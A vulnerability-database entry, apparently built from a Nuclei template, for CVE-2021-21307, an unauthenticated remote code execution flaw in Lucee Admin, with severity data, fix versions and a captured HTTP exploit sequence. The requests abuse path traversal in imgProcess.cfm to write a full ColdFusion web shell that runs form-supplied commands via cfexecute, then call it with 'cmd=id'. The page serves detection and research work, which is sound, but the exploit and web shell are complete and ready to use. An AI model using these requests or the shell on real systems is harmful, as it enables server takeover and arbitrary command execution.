🔙 목록으로 돌아가기

CVE-2021-21307: Lucee Admin - Remote Code Execution

TitleLucee Admin - Remote Code Execution
AuthordhiyaneshDk
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
RemediationThis is fixed in versions 5.3.7.47, 5.3.6.68 or 5.3.5.96. As a workaround, block access to the Lucee Administrator.
CVSS Score9.8
EPSS Score0.92213
CVE IDCVE-2021-21307
CWE IDCWE-862
Tags cve2021 cve rce lucee adobe vkev vuln

🔍 Vulnerability Description

Lucee Admin before versions 5.3.7.47, 5.3.6.68 or 5.3.5.96 contains an unauthenticated remote code execution vulnerability.

🌐 HTTP Request

POST /lucee/admin/imgProcess.cfm?file=/whatever HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Connection: close
Content-Length: 8
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

imgSrc=a
POST /lucee/admin/imgProcess.cfm?file=/../../../context/38FF7PI9bdasdMc4j25VHVAmV6S.cfm HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0
Connection: close
Content-Length: 735
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

imgSrc=

<cfoutput>



<table>

<form method="POST" action="">

<tr><td>Command:</td><td><input type=test name="cmd" size=50

<cfif isdefined("form.cmd")>value="#form.cmd#"</cfif>><br></td></tr>

<tr><td>Options:</td><td> <input type=text name="opts" size=50

<cfif isdefined("form.opts")>value="#form.opts#"</cfif>><br></td></tr>

<tr><td>Timeout:</td><td> <input type=text name="timeout" size=4

<cfif isdefined("form.timeout")>value="#form.timeout#"

<cfelse> value="5"</cfif>></td></tr>

</table>

<input type=submit value="Exec" >

</form>

<cfif isdefined("form.cmd")>

<cfsavecontent variable="myVar">

<cfexecute name = "#Form.cmd#"

arguments = "#Form.opts#"

timeout = "#Form.timeout#">

</cfexecute>

</cfsavecontent>

<pre>
POST /lucee/38FF7PI9bdasdMc4j25VHVAmV6S.cfm HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Safari/605.1.15
Connection: close
Content-Length: 22
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

cmd=id&opts=&timeout=5

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-21307.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-21307.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A